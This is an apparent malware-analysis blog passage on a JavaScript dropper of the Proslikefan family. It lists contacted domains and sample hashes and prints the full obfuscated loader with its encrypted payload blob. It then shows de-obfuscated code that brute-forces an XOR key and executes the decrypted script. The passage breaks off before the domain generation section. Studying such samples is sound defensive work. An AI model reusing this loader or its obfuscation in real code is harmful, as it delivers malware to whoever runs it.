cover image for post 'A JavaScript-based DGA'

A JavaScript-based DGA

Analysis of a defunct Proslikefan Sample

Note 2016-06-17: I later found a fully functional sample of Proslikefan and wrote about it here. Please check out the newer blog post in favor of this post. I leave this write-up of Proslikefan up, with some minor edits to reflect findings I obtained by examining a more complete Proslikefan sample.

This JavaScript on Malwr.com from November 23, 2015 caught my attention because of the contacted domains:

	133754.cc 	64.62.224.253
	vvoxox.eu 	
	jarvis.co 	
	cudbbwsff.eu 	
	fdqawiz.eu 	
	ahmxwyw.eu 	
	vyyltt.cc 	
	ldpkyawb.co 	
	dnbqig.eu 	
	cfzqzyuf.eu 	
	pujdmzqb.cc 	
	mxkuchq.co 	
	ocwzueix.cc

Only the first domain resolves to an IP (in the US). The fourth and subsequent domains are generated by a Domain Generation Algorithm (DGA).

The first section of this blog post discusses the protection layer of the JavaScript. The second section presents the payload and its functions. The last section is dedicated to the domain generation algorithm.

The analysis uses the following sample:

SHA256
33a79d571f98a5f1468c566356cbe9d47e852820cfa78f4fb63f0f9a092dfdfb
MD5
4cd4d228a9f64fb0d1b2fd21ca2e2715
file name
cantcatchme.js
VirusTotal
first submission on October 28, 2015
Malwr
first submission on October 27, 2015
Hybrid-Analysis
first submission on October 27, 2015
VT detection rate
10/56, generic names and a few correct Proslikefan calls.
VT detection rate payload
0/56 (as of Nov. 26th)

Summary

  • The payload code is protected with an XOR cipher. The key to decrypt the payload is only partially hard-coded; the missing part of the key is brute-forced by the script.
  • The code does not run in browsers and only on Windows.
  • The payload contains three hard-coded domains, as well as a domain generation algorithm to generate additional domains if needed. The DGA is seeded with a magic string and the current date. It uses the top level domains .cc, .eu and .co. It generate 30 domains per day.
  • The domains are contacted with HTTP POST requests, using ActiveX in JavaScript. The POSTs do not send any data, but the routines to Base64-encode and RC4 encrypt content are present in the JavaScript. The response to the POSTs is not handled.
  • The JavaScript is likely still in development. In the current state it doesn’t do much except creating the temporary file and sending empty POSTs. The intended purpose seems to be to download and run additional JavaScript.

Protection Layer

The unmodified JavaScript looks like this. After running it through JS Beautifier we get:

(function(klqwrmnvp, klqwrgcvp) {
    klqwrbqvp = "", klqwrupvp = "", klqwrjavp = "", klqwrayvp = "", klqwruevp = "";
    try {
        klqwrmivp = klqwrgcvp();
    } catch (klqwrycvp) {
        klqwrapvp = klqwrmnvp("2crfA>cRpsatcljharB\\ohuopohe6anoCfnhsrpSannrdmDKsPhtltrgcAoCE,tFyrCtrtmhFIrQiohaaG-uRndlrHtcPgesCItBA1oJoQt3dKrMeLQMRNFO5PVQXRBS5TLUDVQWIXGYAZgaRbbcXdRepfLgRhhihjPkFlRmtnPoNpjq8rQsQt1upvAwRxlyFze0D1B2c3f4F5B6g7e8R90+M/N=EFh1SAYWQBgfE05TUx5VBksaSBcOTA==/");
    }
    klqwrtmvp = "", klqwrrjvp = {}, klqwrpwvp = "", klqwrsgvp = "", klqwrhvvp = "", klqwrpgvp = "", klqwrlsvp = "", klqwrisvp = "", klqwrvevp = "", klqwrarvp = "", klqwrfgvp = function() {
        return klqwrpkvp = klqwrapvp.shift(), klqwrpkvp;
    };
    klqwrgivp = klqwrfgvp();
    for (klqwrtbvp = 0; klqwrapvp.length && klqwrrjvp; klqwrtbvp++) 11 != klqwrpgvp.length && (klqwrpgvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrsgvp.length != 6 && (klqwrsgvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrlsvp.length != 6 && (klqwrlsvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrjavp.length != 12 && (klqwrjavp += klqwrgivp, klqwrgivp = klqwrfgvp()), 65 != klqwrbqvp.length && (klqwrbqvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrtmvp.length != 8 && (klqwrtmvp += klqwrgivp, klqwrgivp = klqwrfgvp()), 11 != klqwruevp.length && (klqwruevp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrisvp.length != 96 && (klqwrisvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrvevp.length != 4 && (klqwrvevp += klqwrgivp, klqwrgivp = klqwrfgvp()), 4 != klqwrayvp.length && (klqwrayvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrpwvp.length != 5 && (klqwrpwvp += klqwrgivp, klqwrgivp = klqwrfgvp()), 8 != klqwrarvp.length && (klqwrarvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrupvp.length != 10 && (klqwrupvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrhvvp.length != 6 && (klqwrhvvp += klqwrgivp, klqwrgivp = klqwrfgvp());
})(function(klqwrgyvp) {
    return klqwrgyvp.split("");
}, function(klqwrgmvp, klqwrvgvp) {
    return window;
}),
function(klqwrndvp, klqwrmrvp, klqwrrgvp, klqwrrivp, klqwrxmvp, klqwrnevp, klqwrsfvp, klqwradvp) {
    klqwrcgvp = [0, 0, 2, 1], klqwrixvp = Math, klqwrtwvp = klqwrndvp(klqwrsfvp), klqwrisvp = klqwrndvp(klqwrisvp), klqwrmrvp = klqwrndvp(klqwrmrvp), klqwrzovp = 1691;
    while (klqwrzovp > klqwrxmvp.length) {
        klqwrhtvp = klqwradvp(klqwrixvp);
        if (!klqwrnevp(klqwrhtvp, klqwrxmvp)) {
            try {
                klqwrrivp(klqwrrgvp(klqwrpgvp + klqwrhtvp, klqwrisvp));
                klqwrrivp(klqwrrgvp(hbtmutmvp, klqwrmrvp));
                klqwrzovp = 0;
            } catch (klqwrvqvp) {}
            klqwrxmvp.push(klqwrhtvp);
        }
    }
}(function(klqwrvfvp) {
    klqwrvfvp = klqwrvfvp.toString().replace(/A-Z\/+0-9]+/ig, "");
    klqwrejvp = {};
    for (klqwrtyvp = klqwrbqvp.length, klqwrkevp = 0; klqwrkevp < klqwrtyvp; klqwrkevp++) klqwrejvp[klqwrbqvp[klqwrsgvp](klqwrkevp)] = klqwrkevp;
    klqwrsdvp = klqwrcgvp[klqwrvfvp[klqwrhvvp] % 4], klqwruqvp = [];
    for (klqwrzkvp = 0, klqwrclvp = klqwrvfvp.length; klqwrzkvp < klqwrclvp; klqwrzkvp += 4) klqwreevp = (klqwrejvp[klqwrvfvp[klqwrsgvp](klqwrzkvp)] || 0) << 18 | (klqwrejvp[klqwrvfvp[klqwrsgvp](klqwrzkvp + 1)] || 0) << 12 | (klqwrejvp[klqwrvfvp[klqwrsgvp](2 + klqwrzkvp)] || 0) << 6 | (klqwrejvp[klqwrvfvp[klqwrsgvp](3 + klqwrzkvp)] || 0), klqwruqvp[klqwrvevp](klqwreevp >> 16, klqwreevp >> 8 & 255, klqwreevp & 255);
    return klqwruqvp[klqwrhvvp] -= klqwrsdvp, String[klqwrjavp][klqwrpwvp](String, klqwruqvp);
}, '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', function(klqwrmqvp, klqwrbvvp) {
    klqwrkivp = String, klqwroxvp = "";
    for (klqwrfjvp = 0; klqwrfjvp < klqwrbvvp.length; klqwrfjvp++) klqwroxvp += klqwrkivp[klqwrjavp](klqwrmqvp[klqwrupvp](klqwrfjvp % klqwrmqvp.length) ^ klqwrbvvp[klqwrupvp](klqwrfjvp));
    return klqwroxvp;
}, function(klqwrkmvp) {
    klqwrkmvp = klqwrkmvp.substring(0, klqwrkmvp.length - 2);
    return [][klqwrayvp][klqwruevp](klqwrkmvp)();
}, [], klqwrnevp = function(klqwrslvp, klqwrpyvp) {
    for (klqwrbnvp in klqwrpyvp)
        if (klqwrpyvp[klqwrbnvp] == klqwrslvp) return !0;
    return !1;
}, "1", function(klqwrylvp) {
    return (klqwrylvp[klqwrlsvp]() * 1692 | [])[klqwrarvp](27);
});

The JavaScript consists of two self-invoking functions that are discussed separately:

  • The first function decodes 14 strings used by the second function.
  • The second function decodes, decrypts and runs the payload.

The JavaScript is only slightly obfuscated. Getting a readable version is a matter of renaming variables and using the decoded strings to reveal the built-in functions calls that are obscured by the bracket notation.

First Self-Invoking Function: Decoding the Strings

The following snippet show the first function after adding some more line breaks, renaming most of the variables, and rewriting the short-circuit evaluations a && b as if(a) { b; }:

(function(string_to_list, get_window) {
    try {
        klqwrmivp = get_window();
    } catch (e) {
        l_characters = string_to_list("2crfA>cRpsatcljharB\\ohuopohe6anoCfnhsrpSannrdmDKsPhtltrgcAoCE,tFyrCtrtmhFIrQiohaaG-uRndlrHtcPgesCItBA1oJoQt3dKrMeLQMRNFO5PVQXRBS5TLUDVQWIXGYAZgaRbbcXdRepfLgRhhihjPkFlRmtnPoNpjq8rQsQt1upvAwRxlyFze0D1B2c3f4F5B6g7e8R90+M/N=EFh1SAYWQBgfE05TUx5VBksaSBcOTA==/");
    }
    base64_characters = ""; 
    s_charCodeAt = ""; 
    s_fromCharCode = "";
    s_sort = ""; 
    s_constructor = "";
    string_cryptic = "";
    klqwrrjvp = {};
    s_apply = "";
    s_charAt = "";
    s_length = "";
    key_prefix = "";
    s_random = "";
    javascript1_cipher = "";
    s_push = "";
    s_toString = "";
    get_next_char = function() {
        c = l_characters.shift(); 
        return c;
    };
    current_char = get_next_char();

    for (var i = 0; l_characters.length && klqwrrjvp; i++) {
        }
        if(key_prefix.length < 11) {
            key_prefix += current_char;
            current_char = get_next_char();
        }
        if(s_charAt.length < 6) {
            s_charAt += current_char;
            current_char = get_next_char();
        }
        if(s_random.length < 6) {
            s_random += current_char;
            current_char = get_next_char();
        }
        if(s_fromCharCode.length < 12) {
            s_fromCharCode += current_char;
            current_char = get_next_char();
        }
        if(base64_characters.length < 65) {
            base64_characters += current_char;
            current_char = get_next_char();
        }
        if(string_cryptic.length < 8) {
            string_cryptic += current_char;
            current_char = get_next_char();
        }
        if(s_constructor.length < 11) {
            s_constructor += current_char;
            current_char = get_next_char();
        }
        if(javascript1_cipher.length < 96) {
            javascript1_cipher += current_char;
            current_char = get_next_char();
        }
        if(s_push.length < 4) {
            s_push += current_char;
            current_char = get_next_char();
        }
        if(s_sort.length < 4) {
            s_sort += current_char;
            current_char = get_next_char();
        }
        if(s_apply.length < 5) {
            s_apply += current_char;
            current_char = get_next_char();
        }
        if(s_toString.length < 8) {
            s_toString += current_char;
            current_char = get_next_char();
        }
        if(s_charCodeAt.length < 10) {
            s_charCodeAt += current_char;
            current_char = get_next_char();
        }
        if(s_length.length < 6) {
            s_length += current_char;
            current_char = get_next_char();
        }
    }
})
(function(input_string) {
    return input_string.split("");
}, function(a1, a2) {
    return window;
})

The try-catch-block accesses the window variable. The code requires an exception to be thrown, i.e., that window is not implemented. This means the JavaScript only runs outside browser environments. If the exception is thrown, then a large string is split into an array l_characters.

The characters in the l_characters array are then distributed among 14 different strings. The strings, along with their later usage by the second self-invoking function, are:

variablevaluemeaning
key_prefix2j6ncrals13key prefix
s_charAtcharAtJavaScript function
s_randomrandomJavaScript function
s_fromCharCodefromCharCodeJavaScript function
base64_charactersABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg hijklmnopqrstuvwxyz0123456789+/=Base64 characters
string_cryptic>\fK,I-tnot used
s_constructorconstructorJavaScript function
javascript1_cipherRhhPFQRPBQMQRF5VXB5LDQIGAgRbXRpLR hhPFRtPNj8QQ1pARlFeDBcfFBgeR0MNE Fh1SAYWQBgfE05TUx5VBksaSBcOTA==first Javascript ciphertext
s_pushpushJavaScript function
s_sortsortJavaScript function
s_applyapplyJavaScript function
s_toStringtoStringJavaScript function
s_charCodeAtcharCodeAtJavaScript function
s_lengthlengthJavaScript function

Second Self-Invoking Function: Decrypting and Running the Payload

The following listing shows the second part of the JavaScript. I renamed variables and functions, inserted line-breaks, and replaced the variables with built-in function names with their literal representation:

function (base64_decode, javascript2_cipher, xor_decrypt, call_function, tested_keys, element_in_list, base64_teststring, get_rand_base27str) {
    // base64 decode the two javascript ciphers 
    padding_lengths = [0, 0, 2, 1],
    base64_test = base64_decode(base64_teststring),
    javascript1_cipher = base64_decode(javascript1_cipher),
    javascript2_cipher = base64_decode(javascript2_cipher),

    // brute force the key
    key_space_size = 1691;
    while (key_space_size > tested_keys.s_length) {
        key_suffix = get_rand_base27str(Math);
        if (!element_in_list(key_suffix, tested_keys)) {
            try {
                call_function(xor_decrypt(key_prefix + key_suffix, javascript1_cipher));
                // the variable *hbtmutmvp* is set by the previous line (javascript1)
                call_function(xor_decrypt(hbtmutmvp, javascript2_cipher));
                key_space_size = 0;
            } catch (e) {}
            key_suffixs.push(key_suffix);
        }
    }
}(

    // arg1: base64 decode the input string
    function(base64_string) { 
        base64_string = base64_string.toString().replace(/A-Z\/+0-9]+/ig, "");
        char_to_pos = {};
        for (end_pos = base64_characters.length, i = 0; i < end_pos; i++) 
            char_to_pos[base64_characters["charAt"](i)] = i;
        nr_padding = padding_lengths[base64_string["length"] % 4], dec_bytes = [];
        for (var i = 0, base64_string_len = base64_string.length; i < base64_string_len; i += 4)  {
            dec_byte = (char_to_pos[base64_string["charAt"](i)] || 0) << 18 | 
            (char_to_pos[base64_string["charAt"](i + 1)] || 0) << 12 | 
            (char_to_pos[base64_string["charAt"](2 + i)] || 0) << 6 | 
            (char_to_pos[base64_string["charAt"](3 + i)] || 0);
            dec_bytes["push"](dec_byte >> 16, dec_byte >> 8 & 255, dec_byte & 255);
        }
        dec_bytes["length"] -= nr_padding; // remove padding
        return String["fromCharCode"]["apply"](String, dec_bytes);
    }, 

    // arg2: encrypted payload
    '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',


    // arb64chars: XOR decoding of the *ciphertext* with the multicharacter *key*
    function(key, ciphertext) {
        plaintext = "";
            for (var i = 0; i < ciphertext.length; i++) 
                plaintext += String["fromCharCode"](key["charCodeAt"](i % key.length) ^ ciphertext["charCodeAt"](i));
            return plaintext;
    }, 


    // arg4: remove last two chars from *javascript_string* and run
    //       the resulting javascript
    function(javascript_string) {
        javascript_string = javascript_string.substring(0, javascript_string.length - 2);
        return []["sort"]["constructor"](javascript_string)();
    }, 

    // arg5: list of tested keys
    [], 


    // arg 5: check if *el* is in *elements*
    element_in_list = function(el, elements) {
        for (e in elements)
            if (elements[e] == el) 
                return 1;
        return 0;
    }, 

    // arg7: Base64 test string
    "1", 


    // arg8: generates a small random string by converting a
    //       random integer between 0 and 1691 two base 27
    function(Math) { 
        return (Math["random"]() * 1692 | [])["toString"](27); 
    }
);

The function takes 8 parameters, many of which are in turn functions that do the heavy lifting:

  1. An anonymous function that base64-decodes the input string.
  2. A base64 string that represents the encrypted, second JavaScript payload (the string from the first section being the first). This is the actual payload.
  3. An anonymous function that XOR-decrypts a string with a multi-character key.
  4. An anonymous function that removes the trailing two characters from the passed string, and then tries to call the result.
  5. A list of keys that have already been tested, set to an empty array.
  6. A function to test if the first argument is in the list given by the second argument.
  7. A base64 string that will be decoded, but not used after that. Maybe the string is a relict from development used to test the base64 algorithm.
  8. An anonymous function that generates random strings. The function first generates a random integer between 0 and 1691. The integer is then converted to base 27, which will have the characters 0-9 and the letters a-q.

The function itself is rather concise. First, the javascript1_cipher from the previous section, along with the two arguments base64_teststring and javascript2_cipher, are base64 decoded:

// base64 decode the two javascript ciphers 
padding_lengths = [0, 0, 2, 1],
base64_test = base64_decode(base64_teststring),
javascript1_cipher = base64_decode(javascript1_cipher),
